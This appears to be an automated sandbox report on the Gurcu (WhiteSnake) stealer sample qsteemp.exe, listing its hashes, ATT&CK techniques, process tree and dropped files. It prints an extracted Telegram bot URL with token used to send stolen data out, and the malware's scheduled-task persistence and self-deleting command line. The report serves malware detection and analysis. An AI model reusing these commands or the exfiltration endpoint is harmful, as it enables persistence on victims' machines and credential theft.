gurcu | e76e206e8ae24f95a329b4f6ecdf1f22b76b07a8c628c0619b781bdba2d85732

Resubmissions

10-04-2024 02:17

240410-cqs4fafc2v 10

10-04-2024 02:17

10-04-2024 02:17

10-04-2024 02:17

13-05-2023 22:56

Analysis

max time kernel
299s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10-04-2024 02:17

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General

Target

qsteemp.exe
Size

165KB
MD5

90cd3202af31b431dcc5e47cf3b8c0d7
SHA1

747f68fb8f122241059c219eeeeadac61e8215be
SHA256

e76e206e8ae24f95a329b4f6ecdf1f22b76b07a8c628c0619b781bdba2d85732
SHA512

b1025ca0dfa86cd6649337bfc6b555a9101fce38955566424955a6fe07782bea41eeaf4f233946eb6be5756b23398129bad98a87c6b07478f787df8bf3235481
SSDEEP

3072:fV6h5WXwyNUD44ykiQbGjlc/SGvjQtbGTl2MRMc:9AuwMPkhbGRc/T6A

Score

10^/10

gurcu spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6209822134:AAHQxD-CI1YDVcNbXijXHlonsEUgv3dfYtg/sendMessage?chat_id=-1001529292045

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	qsteemp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	qsteemp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	qsteemp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	qsteemp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	qsteemp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	qsteemp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	qsteemp.exe

Executes dropped EXE 12 IoCs

pid	Process
4560	qsteemp.exe
3580	tor.exe
5012	qsteemp.exe
1456	tor.exe
3456	qsteemp.exe
2256	tor.exe
2892	qsteemp.exe
2100	tor.exe
936	qsteemp.exe
4908	tor.exe
1616	qsteemp.exe
4056	tor.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2060	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4492	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4560	qsteemp.exe
4560	qsteemp.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	qsteemp.exe
Token: SeDebugPrivilege	5012	qsteemp.exe
Token: SeDebugPrivilege	3456	qsteemp.exe
Token: SeDebugPrivilege	2892	qsteemp.exe
Token: SeDebugPrivilege	936	qsteemp.exe
Token: SeDebugPrivilege	1616	qsteemp.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4960 wrote to memory of 452	4960	qsteemp.exe	94
PID 4960 wrote to memory of 452	4960	qsteemp.exe	94
PID 452 wrote to memory of 2304	452	cmd.exe	96
PID 452 wrote to memory of 2304	452	cmd.exe	96
PID 452 wrote to memory of 4492	452	cmd.exe	97
PID 452 wrote to memory of 4492	452	cmd.exe	97
PID 452 wrote to memory of 2060	452	cmd.exe	98
PID 452 wrote to memory of 2060	452	cmd.exe	98
PID 452 wrote to memory of 4560	452	cmd.exe	99
PID 452 wrote to memory of 4560	452	cmd.exe	99
PID 4560 wrote to memory of 3644	4560	qsteemp.exe	102
PID 4560 wrote to memory of 3644	4560	qsteemp.exe	102
PID 4560 wrote to memory of 3580	4560	qsteemp.exe	105
PID 4560 wrote to memory of 3580	4560	qsteemp.exe	105
PID 5012 wrote to memory of 1456	5012	qsteemp.exe	111
PID 5012 wrote to memory of 1456	5012	qsteemp.exe	111
PID 3456 wrote to memory of 2256	3456	qsteemp.exe	119
PID 3456 wrote to memory of 2256	3456	qsteemp.exe	119
PID 2892 wrote to memory of 2100	2892	qsteemp.exe	124
PID 2892 wrote to memory of 2100	2892	qsteemp.exe	124
PID 936 wrote to memory of 4908	936	qsteemp.exe	129
PID 936 wrote to memory of 4908	936	qsteemp.exe	129
PID 1616 wrote to memory of 4056	1616	qsteemp.exe	134
PID 1616 wrote to memory of 4056	1616	qsteemp.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\qsteemp.exe
"C:\Users\Admin\AppData\Local\Temp\qsteemp.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "qsteemp" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\qsteemp.exe" &&START "" "C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:452
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2304
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:4492
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "qsteemp" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:2060
- - C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
    "C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Windows\System32\tar.exe
      "C:\Windows\System32\tar.exe" -xvzf "C:\Users\Admin\AppData\Local\Temp\tmp15D5.tmp" -C "C:\Users\Admin\AppData\Local\6kfrvwd31o"
      4⤵
      PID:3644
  - - C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe
      "C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\6kfrvwd31o\torrc.txt"
      4⤵
      Executes dropped EXE
      PID:3580

C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5012
- C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe
  "C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\6kfrvwd31o\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:1456

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1044 --field-trial-handle=2264,i,15001568551143786084,90255922961447677,262144 --variations-seed-version /prefetch:8
1⤵
PID:1284

C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe
  "C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\6kfrvwd31o\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:2256

C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe
  "C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\6kfrvwd31o\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:2100

C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:936
- C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe
  "C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\6kfrvwd31o\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:4908

C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe
  "C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\6kfrvwd31o\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:4056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\6kfrvwd31o\data\cached-certs

Filesize
18KB

MD5
712c4176a9dc96c0a11c8a3056520d77

SHA1
66e76c7b53a4e423253344bbc16f3d90d1784371

SHA256
1433dc93caf990e756dda15ecc5266e0b0f4fd1bee5bff3e48c7975f26c82dfe

SHA512
6533590570dead2df52651290093deeb8b5d2d1cc25c077dd379994b04256b04bb67e99362c3675c418771529701f7981b77f5bdfc650e34029af9b6058d54ce

Download Submit
C:\Users\Admin\AppData\Local\6kfrvwd31o\data\cached-microdesc-consensus.tmp

Filesize
2.7MB

MD5
a0db8a87f7b723266c8b04255da46b06

SHA1
4df00ea56d22d88f3d2e005ef66bad5b3ef92ebf

SHA256
60b43cdce0f807f7891521f396f53def34a7d98986dbde0faa2a197189c587f3

SHA512
41b8fc467d11af7ca6a42c7e94d1b8295ab3ae5d6d186b4f378e6e079440520e8324b695da1134beb2bc1697d2491edcc70c1b75ab6fc66b9c1cb2ecbcdb4a7d

Download Submit
C:\Users\Admin\AppData\Local\6kfrvwd31o\data\cached-microdescs.new

Filesize
15.1MB

MD5
c50a55535fe217d906aeff566d86cbd4

SHA1
d836387a21d0c13235839d75afc5bded54b0dc44

SHA256
9fc0a8b3f6d89a65f2a89f3e716e6d70ddfb012d1e6081329f78210ade67b67c

SHA512
9b2b694188e4805e3ec3e2e27f9829b66fc88d5eaad3fe0f345a2b82ef749a90148b9984f036216fab04671fa9384534d67a0e9a57376d63763a67b207c046bd

Download Submit
C:\Users\Admin\AppData\Local\6kfrvwd31o\host\hostname

Filesize
64B

MD5
e68a226b89d966bb537c3ef73b24187d

SHA1
7ccdb19c726e0ff09ddf65179304093974a40d0d

SHA256
5a1c9730380ea70fbb21a00f71d9442425fa95a2ab70b295904d6647181b088e

SHA512
1da8e4c11ff96fe4e8b256528db7ec78e38fb939c93a35d799f3b8589fc0a498cda6d725f9f83d65416038cd39fbae2601153e60ff1a6dc818b0c988ba463c22

Download Submit
C:\Users\Admin\AppData\Local\6kfrvwd31o\port.dat

Filesize
4B

MD5
43cf3ae60279360eab2d678461a565c3

SHA1
bead3c2d02dc8106f545732471bb87ae6144d608

SHA256
fecf38f73a2317104df9b5b62b0b3edde2bfa79b1c83dcd83e063033f248a009

SHA512
1f623c8bbe13c03f1c27796d89f177213f129c9459ab6641705bc53807fc2655f193a95586076d647df2caa7de6297026d702c44038d160be3d0380e8159b00b

Download Submit
C:\Users\Admin\AppData\Local\6kfrvwd31o\tor\tor.exe

Filesize
7.4MB

MD5
88590909765350c0d70c6c34b1f31dd2

SHA1
129b27c3926e53e5df6d44cc6adf39c3a8d9ebf7

SHA256
46fe244b548265c78ab961e8f787bc8bf21edbcaaf175fa3b8be3137c6845a82

SHA512
a8af08d9169a31a1c3419d4e6e8fbe608c800d323840563b5a560d3e09e78a492201f07cc0d3864efbff8ad81e59885fc43a6b749e0a3377aa8555df258af192

Download Submit
C:\Users\Admin\AppData\Local\6kfrvwd31o\torrc.txt

Filesize
218B

MD5
30b43e017919ca31e3937ec44dec0dcf

SHA1
dd61108121755f4c2c6dfa9d9deb62290f9b78a4

SHA256
1ff23e96879c5c33e0b92b9b066023586112eb87920a9de0e202a9faba0efdce

SHA512
b7d45a5daabafff502ee00d5471a4e7231261d8252c757a15862c3e4b752e6466e974988909c23120bd04bbffe05b1864405752a193209b8190e2a7363e813b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\qsteemp.exe.log

Filesize
1KB

MD5
fc1be6f3f52d5c841af91f8fc3f790cb

SHA1
ac79b4229e0a0ce378ae22fc6104748c5f234511

SHA256
6da862f7c7feffca99cd58712ece93928c6ca6aed617f5d8c10a4718eaa2a910

SHA512
2f46165017309ee1a0c1b23e30a71e52e86ad8933e2649bf58c3f4628c5aa75659f5b8f6be32c2882f220b2f3ff2fd50d8766bf0a3708c94c2c634c051a05ea6

Download Submit
C:\Users\Admin\AppData\Local\NET.Framework\qsteemp.exe

Filesize
165KB

MD5
90cd3202af31b431dcc5e47cf3b8c0d7

SHA1
747f68fb8f122241059c219eeeeadac61e8215be

SHA256
e76e206e8ae24f95a329b4f6ecdf1f22b76b07a8c628c0619b781bdba2d85732

SHA512
b1025ca0dfa86cd6649337bfc6b555a9101fce38955566424955a6fe07782bea41eeaf4f233946eb6be5756b23398129bad98a87c6b07478f787df8bf3235481

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp15D5.tmp

Filesize
13.3MB

MD5
89d2d5811c1aff539bb355f15f3ddad0

SHA1
5bb3577c25b6d323d927200c48cd184a3e27c873

SHA256
b630008f6d3887793d48b87091e56691e292894dd4fa100dc4a418a2f29dcc12

SHA512
39e576124c54143520c5435a2ef9b24506131e13403489c0692f09b89135015d611c4988d4772f8a1e6557fa68b4667d467334461009cee8c2227dfc3e295289

Download Submit
memory/936-123-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/936-120-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/936-121-0x0000029B8A9C0000-0x0000029B8A9D0000-memory.dmp

Filesize
64KB

Download
memory/1616-129-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/1616-131-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/2892-108-0x000001A6773E0000-0x000001A6773F0000-memory.dmp

Filesize
64KB

Download
memory/2892-107-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/2892-110-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/3456-89-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/3456-90-0x000001F322E40000-0x000001F322E50000-memory.dmp

Filesize
64KB

Download
memory/3456-92-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/4560-11-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/4560-42-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/4560-12-0x000001DBEC970000-0x000001DBEC980000-memory.dmp

Filesize
64KB

Download
memory/4560-46-0x000001DBEC970000-0x000001DBEC980000-memory.dmp

Filesize
64KB

Download
memory/4960-0-0x0000028DEC520000-0x0000028DEC550000-memory.dmp

Filesize
192KB

Download
memory/4960-6-0x00007FFD76AC0000-0x00007FFD77581000-memory.dmp

Filesize
10.8MB

Download
memory/4960-2-0x0000028DEE280000-0x0000028DEE290000-memory.dmp

Filesize
64KB

Download
memory/4960-1-0x00007FFD76AC0000-0x00007FFD77581000-memory.dmp

Filesize
10.8MB

Download
memory/5012-41-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download
memory/5012-43-0x00000182A4F80000-0x00000182A4F90000-memory.dmp

Filesize
64KB

Download
memory/5012-47-0x00007FFD765F0000-0x00007FFD770B1000-memory.dmp

Filesize
10.8MB

Download